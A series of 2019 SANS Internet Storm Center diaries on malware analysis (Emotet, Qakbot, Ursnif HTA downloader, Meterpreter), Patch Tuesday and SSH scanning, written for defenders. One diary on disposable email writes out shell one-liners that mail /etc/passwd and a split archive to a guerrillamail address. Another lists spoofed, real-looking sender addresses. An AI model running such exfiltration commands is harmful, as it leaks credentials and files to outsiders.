0x0010c3f0 0x0050c3f0 ascii        49 .rodata    \e[01;33mpaused\e[0m, press \e[01;35mr\e[0m to resume
0x0010c4e0 0x0050c4e0 ascii        71 .rodata    \e[1;32m * \e[0m\e[1;37mPOOL #%-7zu\e[0m\e[1;%dm%s\e[0m variant \e[1;37m%s\e[0m
0x0010c528 0x0050c528 ascii        60 .rodata    \e[1;32m * \e[0m\e[1;37m%-13s\e[0m\e[1;36m%s/%s\e[0m\e[1;37m %s\e[0m
0x0010c568 0x0050c568 ascii        41 .rodata    \e[1;32m * \e[0m\e[1;37m%-13slibuv/%s %s\e[0m
0x0010f8b0 0x0050f8b0 ascii         5 .rodata    \e[0m\n
0x0010f8b6 0x0050f8b6 ascii         7 .rodata    \e[0;31m
0x0010f8be 0x0050f8be ascii         7 .rodata    \e[0;33m
0x0010f8c6 0x0050f8c6 ascii         7 .rodata    \e[1;37m
0x0010f8ce 0x0050f8ce ascii         5 .rodata    \e[90m
0x0011031d 0x0051031d ascii         7 .rodata    \e[1;30m
0x00110388 0x00510388 ascii        61 .rodata    \e[1;37muse pool \e[0m\e[1;36m%s:%d \e[0m\e[1;32m%s\e[0m \e[1;30m%s 
0x001103c8 0x005103c8 ascii        81 .rodata    \e[01;31mrejected\e[0m (%ld/%ld) diff \e[01;37m%u\e[0m \e[31m"%s"\e[0m \e[01;30m(%lu ms)
0x00110450 0x00510450 ascii        67 .rodata    \e[01;32maccepted\e[0m (%ld/%ld) diff \e[01;37m%u\e[0m \e[01;30m(%lu ms)
0x001104c0 0x005104c0 ascii        78 .rodata    \e[1;35mnew job\e[0m from \e[1;37m%s:%d\e[0m diff \e[1;37m%d\e[0m algo \e[1;37m%s\e[0m
0x001106c4 0x005106c4 ascii         8 .rodata    \e[1;31m-
0x001106cd 0x005106cd ascii         7 .rodata    \e[1;31m
0x0011076e 0x0051076e ascii        15 .rodata    \e[1;31mnone\e[0m
0x0011077e 0x0051077e ascii        16 .rodata    \e[1;32mintel\e[0m
0x0011078f 0x0051078f ascii        16 .rodata    \e[1;32mryzen\e[0m
0x001107a0 0x005107a0 ascii        93 .rodata    \e[1;32m * \e[0m\e[1;37m%-13s\e[0m\e[1;36m%d\e[0m\e[1;37m, %s, av=%d, %sdonate=%d%%\e[0m\e[1;37m%s\e[0m
0x00110828 0x00510828 ascii        73 .rodata    \e[1;32m * \e[0m\e[1;37m%-13s\e[0m\e[1;36m%d\e[0m\e[1;37m, %s, %sdonate=%d%%\e[0m
0x00110878 0x00510878 ascii        37 .rodata    \e[1;32m * \e[0m\e[1;37m%-13sauto:%s\e[0m
0x001108a0 0x005108a0 ascii        32 .rodata    \e[1;32m * \e[0m\e[1;37m%-13s%s\e[0m
0x001108c8 0x005108c8 ascii        49 .rodata    \e[1;32m * \e[0m\e[1;37m%-13s%s (%d)\e[0m %sx64 %sAES
0x00110900 0x00510900 ascii        45 .rodata    \e[1;32m * \e[0m\e[1;37m%-13s%.1f MB/%.1f MB\e[0m
0x00110930 0x00510930 ascii       127 .rodata    \e[1;32m * \e[0m\e[1;37mCOMMANDS     \e[0m\e[1;35mh\e[0m\e[1;37mashrate, \e[0m\e[1;35mp\e[0m\e[1;37mause, \e[0m\e[1;35mr\e[0m\e[1;37mesume\e[0m
0x001124d0 0x005124d0 ascii        96 .rodata    \e[1;37mspeed\e[0m 10s/60s/15m \e[1;36m%s\e[0m\e[0;36m %s %s \e[0m\e[1;36mH/s\e[0m max \e[1;36m%s H/s\e[0m
0x001131c8 0x005131c8 ascii         7 .rodata    \e[1;33m
0x00113230 0x00513230 ascii       110 .rodata    \e[1;32mREADY (CPU)\e[0m threads \e[1;36m%zu(%zu)\e[0m huge pages %s%zu/%zu %1.0f%%\e[0m memory \e[1;36m%zu.0 MB\e[0m

This is just a basic example of what you can do with radare2 together with Jupyter. You can find the complete notebook here, Github supports notebooks also, giving a nice view of it. Please share your ideas, comments and/or insights, with me via social media, @remco_verhoef or email, remco.verhoef at dutchsec dot com.

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec


Published: 2019-03-14

Tip: Ghidra & ZIP Files

I don't know where I got the idea, but I erroneously assumed that Ghidra could help with the analysis of document files. Ghidra is a software reverse engineering framework developed by the NSA and released at RSA 2019.

My test revealed the following.

.doc files (e.g. Compound File Binary Format files) are not recognized at all:

But with .docx files (Office Open XML files, e.g. ZIP files), something else happened:

Ghidra recognizes the ZIP file format, and can look inside ZIP files. Here I'm opening a ZIP file containing an EXE:

I can select "File system" and browse the content of the ZIP file:

And then import the EXEs I want:

I like this feature, as my malware samples are often stored in a ZIP file. I can also select Batch and have all contained files (or a selection) imported.

Unfortunately, password protected ZIP files are not supported:

I don't think it would be difficult to add support for password protected ZIP file to Ghidra. When the NSA officially releases the source code, I'll take a look.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-13

Malspam pushes Emotet with Qakbot as the follow-up malware


I've posted several diaries about malicious spam (malspam) pushing Emotet malware.  In recent years, I've made sure to include information on the follow-up malware, since Emotet is also a distributor for other malware families.  Not much has changed since my previous diary about Emotet malspam in November 2018.  In the past two or three weeks, I've consistently seen Trickbot as the follow-up malware; however, this past Monday I also saw Qakbot as the follow-up malware.  Today's diary examines an Emotet infection from Monday 2019-03-11 that had Qakbot as the follow-up malware.

Shown above:  Flow chart for recent Emotet malspam infections I've seen during the past month or so.

Email example

Shown below is an example of Emotet malspam with a link for the XML document.  Clicking on the link downloaded an XML document with a .doc file extension that opens in Microsoft Word by default, if Word is installed on the victim's host.

Shown above:  Screenshot of Emotet malspam with a link for an XML document.

Downloaded XML doc

The downloaded XML document has macros that, if enabled, will infected a vulnerable Windows host with Emotet.

Shown above:  An XML document downloaded from a link in Emotet malspam.

Infection traffic

Infection traffic was typical for what I've seen with Emotet, and the Qakbot traffic was similar to patterns seen the last time I documented an example of Emotet + Qakbot in December 2018.

Shown above:  Traffic from an infected Windows host.

Shown above:  Alerts from Security Onion using Sguil with Suricata and the EmergingThreats Pro ruleset.

Post-infection forensics

The infected Windows host had post-infection artifacts similar to the last time I saw Emotet + Qakbot.  Both Emotet and Qakbot were kept persistent through the Windows registry.  Emotet generally saves follow-up malware under the C:\ProgramData folder, and that was where the Qakbot EXE was originally saved.  However, when Qakbot executed, it copied itself to another directory and replaced the original file with a re-named calc.exe.

Shown above:  Emotet and Qakbot persistent on my infected lab host.

Shown above:  Qakbot replaces the file it was originally downloaded as with calc.exe, a non-malicious file.

The following is data from malware I retrieved from my infected Windows host:

SHA256 hash: cf59f0ff182405c068262b1879f559f4244d4e94cc813f900c96c3eb89a59b10

  • File size: 199,348 bytes
  • File description: Downloaded XML doc with macro for Emotet

SHA256 hash: e6308496a22d317cf7e5a5469351c5cf4dc11ef7e47b39e9a97ea85707cbec8a

  • File size: 229,640 bytes
  • File description: Emotet malware binary retrieved by XML doc macro

SHA256 hash: ebb4e12bcc3b95e4b8b16798b7c46d24f8b973a210424512d580112534c2012e

  • File size: 229,640 bytes
  • File description: Updated Emotet malware binary (1st update)

SHA256 hash: c6ff3a2fd9e623754056a39f379eba289105f0a935dc05249ca1957cf35e84ac

  • File size: 339,720 bytes
  • File description: Updated Emotet malware binary (2nd update)

SHA256 hash: 9978756e1daf844bd734c6282fec583d5f3089be4e21d7fbd43877d25598f8f6

  • File size: 551,936 bytes
  • File description: Qakbot retrieved by Emotet-infected host (1st run)

Final words

On Monday 2019-03-11, I also saw Emotet + Trickbot on another lab host within an hour after I infected my first lab host with Emotet + Qakbot.  Pcap and malware from these two infections can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-03-12

Microsoft March 2019 Patch Tuesday

This month we got patches for 64 vulnerabilities. Two of them have been exploited and four have been made public before today.

Both exploited vulnerabilities (CVE-2019-0808 and CVE-2019-0797) affects win32k component on multiple Windows versions, from Windows 7 to 2019, and may lead to privilege escalation. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.

Amongst 17 critical vulnerabilities this month, it's worth mentioning CVE-2019-0697 which affects DHCP Client and may lead to remote code execution (RCE). This is the second critical vulnerability in DHCP client this year both scoring 9.8 CVSS v3. The other one was patched in January (CVE-2019-0547).

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com.

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Active Directory Elevation of Privilege Vulnerability
%%cve:2019-0683%% Yes No - - Important 4.9 4.4
Azure SSH Keypairs Security Feature Bypass Vulnerability
%%cve:2019-0816%% No No Less Likely Less Likely Moderate    
Best Practices Regarding Sharing of a Single User Account Across Multiple Users
ADV190010 No No - -      
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0611%% No No - - Important 4.3 3.9
%%cve:2019-0746%% No No Less Likely Less Likely Important 6.4 5.8
%%cve:2019-0592%% No No - - Critical 4.2 3.8
Comctl32 Remote Code Execution Vulnerability
%%cve:2019-0765%% No No Less Likely Less Likely Important 6.4 5.8
Internet Explorer Memory Corruption Vulnerability
%%cve:2019-0763%% No No More Likely More Likely Critical 6.4 5.8
Internet Explorer Security Feature Bypass Vulnerability
%%cve:2019-0761%% No No Less Likely Less Likely Important    
%%cve:2019-0768%% No No More Likely More Likely Important 4.3 3.9
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0617%% No No Less Likely Less Likely Important 7.8 7.0
Latest Servicing Stack Updates
ADV990001 No No - - Critical    
MS XML Remote Code Execution Vulnerability
%%cve:2019-0756%% No No Less Likely Less Likely Critical 7.5 6.7
March 2019 Adobe Flash Security Update
ADV190008 No No More Likely More Likely Low    
Microsoft Browser Memory Corruption Vulnerability
%%cve:2019-0780%% No No - - Important 6.4 5.8
Microsoft Browsers Security Feature Bypass Vulnerability
%%cve:2019-0762%% No No - - Important 2.4 2.2
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2019-0678%% No No - - Important 4.2 3.8
Microsoft Edge Memory Corruption Vulnerability
%%cve:2019-0779%% No No - - Important 4.2 3.8
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-0612%% No No - - Important 4.3 3.9
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2019-0748%% No No - - Important    
Microsoft Office SharePoint XSS Vulnerability
%%cve:2019-0778%% No No - - Important    
Microsoft Windows Elevation of Privilege Vulnerability
%%cve:2019-0766%% No No Less Likely Less Likely Important 6.7 6.7
NuGet Package Manager Tampering Vulnerability
%%cve:2019-0757%% Yes No Less Likely Less Likely Important    
SHA-2 Code Sign Support Advisory
ADV190009 No No - -      
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0609%% No No - - Critical 6.4 5.8
%%cve:2019-0639%% No No - - Critical 4.2 3.8
%%cve:2019-0769%% No No - - Critical 4.2 3.8
%%cve:2019-0770%% No No - - Critical 4.2 3.8
%%cve:2019-0771%% No No - - Critical 4.2 3.8
%%cve:2019-0773%% No No - - Critical 4.2 3.8
%%cve:2019-0783%% No No More Likely More Likely Important 6.4 5.8
%%cve:2019-0680%% No No - - Critical 6.4 5.8
Skype for Business and Lync Spoofing Vulnerability
%%cve:2019-0798%% No No Less Likely Less Likely Important    
Team Foundation Server Cross-site Scripting Vulnerability
%%cve:2019-0777%% No No Less Likely Less Likely Low    
Visual Studio Remote Code Execution Vulnerability
%%cve:2019-0809%% Yes No Less Likely Less Likely Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2019-0797%% No Yes Detected Unlikely Important 7.0 6.3
%%cve:2019-0808%% No Yes - - Important 7.0 6.3
Win32k Information Disclosure Vulnerability
%%cve:2019-0776%% No No Less Likely Less Likely Important 4.7 4.2
Windows ActiveX Remote Code Execution Vulnerability
%%cve:2019-0784%% No No Less Likely Less Likely Critical 4.2 3.8
Windows DHCP Client Remote Code Execution Vulnerability
%%cve:2019-0697%% No No Less Likely Less Likely Critical 9.8 8.8
%%cve:2019-0698%% No No Less Likely Less Likely Critical 9.8 8.8
%%cve:2019-0726%% No No Less Likely Less Likely Critical 9.8 8.8
Windows Denial of Service Vulnerability
%%cve:2019-0754%% Yes No Less Likely Less Likely Important 5.5 5.0
Windows Deployment Services TFTP Server Remote Code Execution Vulnerability
%%cve:2019-0603%% No No Less Likely Less Likely Critical 7.5 6.7
Windows GDI Information Disclosure Vulnerability
%%cve:2019-0774%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0614%% No No Less Likely Less Likely Important 4.7 4.2
Windows Hyper-V Denial of Service Vulnerability
%%cve:2019-0690%% No No Less Likely Less Likely Important 6.8 6.1
%%cve:2019-0695%% No No Less Likely Less Likely Important 6.8 6.1
%%cve:2019-0701%% No No Less Likely Less Likely Important 6.8 6.1
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-0696%% No No More Likely More Likely Important 7.0 6.3
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-0755%% No No More Likely More Likely Important 5.5 5.0
%%cve:2019-0767%% No No More Likely More Likely Important 4.7 4.2
%%cve:2019-0775%% No No More Likely More Likely Important 4.7 4.2
%%cve:2019-0782%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0702%% No No Less Likely Less Likely Important 5.5 5.0
Windows Print Spooler Information Disclosure Vulnerability
%%cve:2019-0759%% No No Less Likely Less Likely Important 4.7 4.2
Windows SMB Information Disclosure Vulnerability
%%cve:2019-0703%% No No More Likely More Likely Important 6.5 5.9
%%cve:2019-0704%% No No More Likely More Likely Important 6.5 5.9
%%cve:2019-0821%% No No More Likely More Likely Important 6.5 5.9
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2019-0682%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-0689%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-0692%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-0693%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-0694%% No No Less Likely Less Likely Important 7.0 6.3
Windows VBScript Engine Remote Code Execution Vulnerability
%%cve:2019-0772%% No No Less Likely Less Likely Important 6.4 5.8
%%cve:2019-0665%% No No More Likely More Likely Important 7.5 6.7
%%cve:2019-0666%% No No More Likely More Likely Critical 7.5 6.7
%%cve:2019-0667%% No No More Likely More Likely Critical 7.5 6.7


Renato Marinho
Morphus Labs| LinkedIn|Twitt


Published: 2019-03-12

Test Diary

Testing 123


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2019-03-11

Wireshark 3.0.0 and Npcap

Starting with version 3.0.0, the Wireshark for Windows installation programs are distributed with Npcap in stead of WinPcap. Prior Wireshark Windows versions already supported Npcap, but the installer still came bundled with WinPcap.

Npcap is a library for packet capturing and sending on Windows, developed by the Nmap project, and is actively maintained, while WinPcap is no longer actively maintained (unless WinPcap's community steps in).

If you have a prior version of Wireshark installed on Windows (like 2.6.7), and you perform an upgrade to 3.0.0, Npcap will be installed by default:

One feature offered by Npcap and lacking in WinPcap, is capturing traffic on the loopback adapter:

Wireshark with WinPcap:

Wireshark with Npcap:

You can also sniff WiFi if your driver supports it.

If you have WinPcap installed, and Npcap is installed with default options, then WinPcap remains installed:

WinPcap and Npcap can coexist. Unless you choose to have the Npcap installer install a WinPcap API compatible DLL. Then WinPcap will be uninstalled.

This WinPcap API compatible DLL allows other applications, depending on WinPcap and without support for Npcap, to run with Npcap only installed.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-10

Quick and Dirty Malicious HTA Analysis

Reader Ahmed shared his analysis of a malicious HTA file: the reason why he had to perform static analysis, is that dynamic analysis failed: the sandbox he used reported no activity by the HTA file.

It's a rule of thumb when reversing: if you don't succeed with one particular analysis method, try another one. Even if that second method fails too, it might give you insight to help you progress with the first method.

An HTA file is an HTML Application (extension .hta): it's an HTML file with scripts (VBScript, JScript, ...) that is executed by the HTA engine (mshta.exe). Unlike a browser, scripts running inside that engine are not restricted and use the full permissions of the user running the HTA engine.

The VBScript in this HTA file has a string that is heavily obfuscated. This string is passed on to the Create method of a WMI class to create a new process, but first it is processed by the Replace function:

This call to the Replace function, replaces string ![_%/+-$>#*&])(=?< with an empty string: the result is that each ![_%/+-$>#*&])(=?< occurence is removed from the string passed on to the Create method.

Normally it's easy to do the same with the stream editor sed, except that this string contains meta-characters that have to be escaped, like this:

Now it's clear that this is a PowerShell command, and that the script is obfuscated. We can manually deobfuscate this script, like Ahmed did, but in this diary entry I want to show a quick and dirty method to find out what this script is doing.

First of all, it's clear that we are dealing with malware. A malicious PowerShell script like this one, is almost always a downloader: a script that downloads a payload from the Internet. The URL(s) is/are often obfuscated. But if you search for the character : (found in http://), you might be lucky and find a fragment of a URL.

And that's what we have here for the third occurence of the : character:

Let me just clean this up: a bit to the left there's an .Invoke method call (that's the beginning of the statement) and a bit to the right there's a ; character (that's the end of the statement):

In pink, I've highlighted fragments of text that are clearly part of a URL. This URL uses an IPv4 address, starting with 46.101.8.

In yellow, I've highlighted all the remaining digits: it looks to me that 5.43 is the rest of the IPv4 address.

To be sure, I'm looking it up with VirusTotal: 46.101.85[.]43.

And we are lucky: this IPv4 address is known, and there's one URL with a bad score. The path of this URL is putt.txt, and with that info, I can further identify the fragments of the URL:

When you are dealing with an obfuscated PowerShell script, it's often a downloader. Depending on the obfuscation method, it's possible that the URL (or URLs) is broken up in different fragments, but that the characters have not been encoded. In that case, it can be possible to identify the different fragments, sometimes with the help of threat intel.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com



Published: 2019-03-10

Malicious HTA Analysis by a Reader

This week, reader Ahmed Elshaer submitted a malicious HTA file. He was able to deobfuscate the VBscript inside the HTA file, but had difficulties with the obfuscated PowerShell script launched by the VBscript.

Later, Ahmed reached out again: he had deobfuscated the PowerShell script, and shared his analysis with us. Thanks Ahmed! I'm posting his analysis here, but with pictures of the (partially) deobfuscated script to avoid triggering AV.


Analysis of Powershell Malware Captured on March 1st 2019:

We have detected a suspicious Process executed on one of the machines which turned to be a result of malicious
HTA file that's being delivered by mail.

from looking at the HTA which is a VBScript you will notice its obfuscated and can be easily de-obfuscated
using a find/replace command in Text Editor or by using SED.

i have made a python script before to quickly de-obfuscate simple split/replace code that can also be used with this.

Below the HTA File Content:

after replacing "![_%/+-$>#*&])(=?<" with nothing we should get the de-obfuscated code:

you can notie its a multi-layer obfuscation, that we have to deal with to understand this malware.
purpose of doing this analysis, sometimes the malware that you can capture and run in dynamic anaylsis do only a subset of its functionality and we dont have change to know its full potential.
and some times its dynamic like it can generate different key for each machine so you have to understand its code to be able to use its functionality and stop it using its own code.

i took the Powershell command mentioned in the VBScript and tried to tweak it a bit to remove the dangerous part and to get the actual code.

And here is the result of the 1st iteration of decoding the provided Powershell code after saving it to a file.

decoding the result we have from the previous command as follows.

we will have the below code, also de-obfuscated Powershell code.

Following same approach we done previously.


spliting the code at ; and looking into it, it's very easy to do string format by hand on each string to form the original powershell command.

which will result the final code here.

looking into the code here we can see that this script will do the following:
    - it generate a long number as a reference (which is all letters A-Z and a-z)
    - select 6 random characters from them to be the name of the file downloaded later
    - it download the malware and name it .log then move it to exe then execute it.

we downloaded the malware and do simple check on the File which turned to be signed ursnif sample. which steals system information and attempts to steal banking and online account credentials.

    # PS C:\Users\User> sigcheck.exe .\eDRTou.exe
    # C:\Users\User\eDRTou.exe:
    #     Verified:   Signed
    #     Signing date:   11:59 PM 2/27/2019
    #     Publisher:  01010000 LTD
    #     Company:    INCA Internet Co., Ltd.
    #     Description:    nProtect KeyCrypt Program Database DLL
    #     Product:    nProtect KeyCrypt Program Database DLL
    #     Prod version:   4, 0, 0, 0
    #     File version:   2003, 10, 1, 1
    #     MachineType:    32-bit

when running the Malware, you will notice its trying to contact C2 Server.
 - hxxp://followgathering[.]pw -> 192.42.119[.]41

Below you can find Dynamic analysis for this malware:





Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com



Published: 2019-03-09

A Comparison Study of SSH Port Activity - TCP 22 & 2222

I added a while ago to my honeypot TCP 2222 usually associated with SSH traffic to compare the amount of scans targeting port 22 and 2222 over a period of 7 days. What I have noticed, only about 50% more of the traffic is going to TCP 22 the default SSH service. The activity reported for the past month to DShield has been pretty consistent for TCP 2222[1]. I used the latest version of rockNSM released a few weeks ago with the new added dashboard to track the activity.

This graph shows port 22 over the past 7 days

This graph shows port 2222 over the past 7 days

This graph show both 22 and 2222 over the past 7days

I wrote a diary last year where I posted a list of various client types and versions. Over the past several weeks, I received 9664 SSH probe to TCP 2222. This is the breakdown of the various SSH clients used:

SSH-2.0-libssh-0.6.3    8060
SSH-2.0-libssh2_1.8.0    567
SSH-2.0-libssh_0.8.2     519
SSH-2.0-libssh-0.2       298
SSH-2.0-Go               107
SSH-2.0-libssh2_1.4.3     66
SSH-2.0-sshlib-0.1        18
SSH-2.0-libssh-0.6.5       8
SSH-2.0-paramiko_2.1.3     5
SSH-2.0-paramiko_2.0.2     3
SSH-2.0-libssh2_1.7.0      3
SSH-2.0-paramiko_2.1.2     2

libssh 0.6 and later is vulnerable to CVE-2018-10933 and the most common hasshServer values posted here.

If you are interested in trying out the latest version of rockNSM 2.3, I recently updated my step-by-step guide and posted it here on the handlers server.

[1] https://isc.sans.edu/port.html?port=2222
[2] https://rocknsm.io/
[3] https://handlers.sans.edu/gbruneau/rockNSM_2.3.htm
[4] https://isc.sans.edu/forums/diary/SSH+Scans+by+Clients+Types/23201
[5] https://gist.github.com/0x4D31/35ddb0322530414bbb4c3288292749cc

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2019-03-08

Analysing meterpreter payload with Ghidra

Yesterday I found a powershell script using urlscan.io which can be found. I didn't (and still don't) have any idea about the origins, being benign or malicious. Spoiler, it is (just) a meterpreter reverse-https payload being delivered using Metasploit's Web Delivery. 

Urlscan is a great and powerfull tool to analyse webpages. It delivers reports about how the page loads, creates screenshots, stores interesting files and extracts all kind of indicators. Urls can be scanned manually or by the api. There are many automated submissions, like links that have been included in emails or are suspicious. The service helps to find other domains running from the same ip, similar pages and campaigns. 

Searching for 1.ps1 using urlscan delivers all kind of powershell scripts (many malicious), as also the one I found. Just to add some context, I searched for other occurences of the ip address and file hash delivers, but found just one single result. 

The powershell contains a base64 encoded payload which will be executed by starting a new powershell session with the script as argument. Using Cyberchef it is easy to decode the base64 payload as can be shown here. Multiple of my dear handler colleagues have written about this useful service already. Cyberchef (runs client side only) makes it easy to create recipes, that will transform the data by just dropping new operations (which are many predefined) to the recipe. This step only base64 decodes the payload, but the next step deflates the payload also.

Step 2 contains the encoded reverse-https Meterpreter payload that will be loaded and executed in memory. If we now extract the payload and extract it using another recipe we have the shellcode and we'll load this into Ghidra. Ghidra is the Software Reverse Engineering (SRE) suite of tools which are developed (and now opened) by the NSA. Currently the github repository contains only a placeholder, but it says it will be made available opensource. There has been tweeted a lot about Ghidra and overall reactions are positive. Positive reactions are about the decompiler, the ability for collaborating with colleagues, support for adding multiple binaries to a single project, ability to undo, diffing, many supported processors and the analysis. Negative reactions are that it is based on java, supports no debugging and (steep) learning curve. A more thorough overview can be found in this article of Joxean Koret

Just to highlight a few features of Ghidra, we'll load the binary. After loading the file we have to pick the language, which is x86 32 bits and the binary can be analysed.

After importing it will show a small summary about the results. 

The payload start address (0x0) needs to be disassembled manually, as it doesn't recognise the code. After disassembling the first bytes, the other code will following and you'll get the this screen. The code can be annotated, functions created, diffed etc. 

Ghidra will show the decompiled function next to the assembly view, a sample of decompilated function (the http request and response part) looks like this.

The payload uses a hashed functions to prevent presence of strings within the payload containing the system functions, which makes it less readable. 

After analyses this is just a default Meterpreter payload where a reverse https shell will be opened to a Meterpreter handler.

Meterpreter http(s) handlers will use the default "It works" page we know from Apache, but only a bit different. As the default Apache index.html contains an extra \n (sha256: f2dcc96deec8bca2facba9ad0db55c89f3c4937cd6d2d28e5c4869216ffa81cf and 45 bytes), where meterpreter doesn't (sha256: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb and 44 bytes). If we search the meterpreter hash for Censys we'll find over two thousand suspected meterpreter servers. Maybe something to blocklist?

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec









Published: 2019-03-06

Keep an Eye on Disposable Email Addresses

In many organisations, emails still remain a classic infection path today. The good old email is still today a common communication channel to exchange information with people outside of the security perimeter. Many security controls are in place to reduce the number of malicious emails landing in users’ mailboxes. If, from a network perspective, firewalls inspect traffic in both directions (“egress” and “ingress” filters), it’s not always the case with email flows. They are often just allowed to go out through local MTA’s (Mail Transfert Agents).

From a malware point of view, inspecting outgoing emails for malicious content is less critical. Except if the mail server is being compromized or left open to send massive waves of malicious messages, we can assume that internal emails are “clean” but what about data exfiltration? A DLP ("Data Leak Prevention") tool could sometimes spot interesting content but I'm not a big fan of such solution. Today, most content is obfuscated or encrypted. We can try to spot suspicious activity just be having a look at our logs. Yes, logs are mandatory if you did not know yet!

I found on github.com some compiled lists of domains used by free mail providers or disposable (“temporary”) email providers (like the well-known guerrillamail.com[1]). I'm a big fan of such services, especially when I'm forced by a vendor to fill a form with my contact details just to download a white-paper or a report. 

I compiled my own list[2] and started to correlate these domains with a lot of events generated by different MTA’s (I’m lucky to have access to big networks). Guess what? I found many suspicious communications with disposable email providers. What did I found?

A user who probably setup a forward rule to send a copy of all his/her emails to a free email address (Is it allowed by your policy?)

Users who sent emails to disposable email addresses with the subject “to print”,  “to review” or “to read”. Probably to work from a remote location.

Users who sent official documents to a known partner who was using a free email address (in this case, it was an embassy!)

Often, sending emais is very convenient because you just need to use the available mail servers inside the infrastructure. Emails are just allowed because it's a classic way for the IT team to get results of scripts, backups, etc. So convenient! Emails can also by generated from scripts (Shell, Python, …) with just a one-liner:

$ base64 </etc/passwd | mail bad.guy@guerrillamail.com

The exfiltration of big files is easy:

$ cat bigfile.tgz \
| split -b 2000 && for f in xa*; do base64 $f \
| mail -s $f bad.guy@guerillamail.com; done

Check also for beaconing (emails sent a regular interval to the same destination - ex: 1 email every 2h)

What about blocking outgoing emails to those domains? It must be decided case by case, depending on your environment and your business. In the environment where I found the case described above, it's simply not possible to block all of them.

[1] https://www.guerrillamail.com
[2] https://github.com/xme/SANS-ISC/blob/master/disposable-free-email-domains.csv

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-03-06

Malspam with password-protected word docs still pushing IcedID (Bokbot) with Trickbot


Malicious spam (malspam) using attached password-protected Word documents is a long-running campaign that I and others have occasionally documented.  This campaign has a history of pushing various types of ransomware and information stealers.  I previously wrote about this campaign in December 2018, when it started pushing IcedID (Bokbot).

It's still active using resume-themed malspam.  And it's still pushing IcedID.  But ever since February 2019, IcedID has been following up with Trickbot as described by Crowdstrike here.  Because of this recent change, we should again review infection activity from this campaign.  Today's diary examines an infection from Monday 2019-03-04.

Shown above:  Flow chart for infection activity on Monday 2019-03-04.

The malspam and attached Word docs

Emails from this malspam campaign started again on Tuesday 2019-03-05.  All attached document names end with Resume.doc and all email addresses end with @cox.net.  All attached Word documents were 37,888 bytes.  Here is a list of 30 examples:

Read: Date/Time -- Attachment name -- Sending address (spoofed) -- Subject

  • 2019-03-05 21:40 UTC -- Tricia Cogswell Resume.doc -- lyndsaybit@cox.net -- Job
  • 2019-03-05 21:15 UTC -- Rhiannon Litwin Resume.doc -- cjhol@cox.net -- Regarding Job
  • 2019-03-05 20:51 UTC -- Kasey Rohloff Resume.doc -- kennida@cox.net -- Job
  • 2019-03-05 20:37 UTC -- Roxane Beverley Resume.doc -- twatson12@cox.net -- Regarding Job
  • 2019-03-05 20:16 UTC -- Marhta Sessler Resume.doc -- rmferb@cox.net -- Regarding Job
  • 2019-03-05 20:04 UTC -- Tam Skipworth Resume.doc -- daviddntulsaok@cox.net -- Hiring
  • 2019-03-05 20:01 UTC -- Arminda Fortson Resume.doc -- rpierce20@cox.net -- Hiring
  • 2019-03-05 19:52 UTC -- Roxane Beverley Resume.doc -- suethill1027@cox.net -- Hiring
  • 2019-03-05 19:32 UTC -- Randolph Nelsen Resume.doc -- darshnabisht@cox.net -- Job Application
  • 2019-03-05 19:28 UTC -- Angie Pirkle Resume.doc -- raymond.hintz@cox.net -- Job Application
  • 2019-03-05 19:19 UTC -- Kelvin Quarterman Resume.doc -- marktrent@cox.net -- Hiring
  • 2019-03-05 18:56 UTC -- Shona Dyck Resume.doc -- kbrutus1@cox.net -- Regarding Job
  • 2019-03-05 18:36 UTC -- Madeleine Valero Resume.doc -- richeather@cox.net -- Job Application
  • 2019-03-05 18:02 UTC -- Lashawn Bilal Resume.doc -- petabray@cox.net -- Job
  • 2019-03-05 17:40 UTC -- Sunny Osgood Resume.doc -- sagrace35@cox.net -- Hiring
  • 2019-03-05 17:23 UTC -- Tam Skipworth Resume.doc -- traceym@cox.net -- application
  • 2019-03-05 17:16 UTC -- Vicky Linsey Resume.doc -- rblang@cox.net -- Regarding position
  • 2019-03-05 17:09 UTC -- Tam Skipworth Resume.doc -- wildetz@cox.net -- Regarding position
  • 2019-03-05 17:06 UTC -- Tam Skipworth Resume.doc -- carolsaliba@cox.net -- Regarding position
  • 2019-03-05 16:41 UTC -- Kelvin Quarterman Resume.doc -- david.casper@cox.net -- Job Application
  • 2019-03-05 16:06 UTC -- Tam Skipworth Resume.doc -- gigismom@cox.net -- Regarding position
  • 2019-03-05 16:03 UTC -- Lana Sines Resume.doc -- blcollins@cox.net -- Hiring
  • 2019-03-05 16:02 UTC -- Rhiannon Litwin Resume.doc -- isrosa@cox.net -- Regarding Job
  • 2019-03-05 16:01 UTC -- Livia Westlake Resume.doc -- gkoenig@cox.net -- Job Application
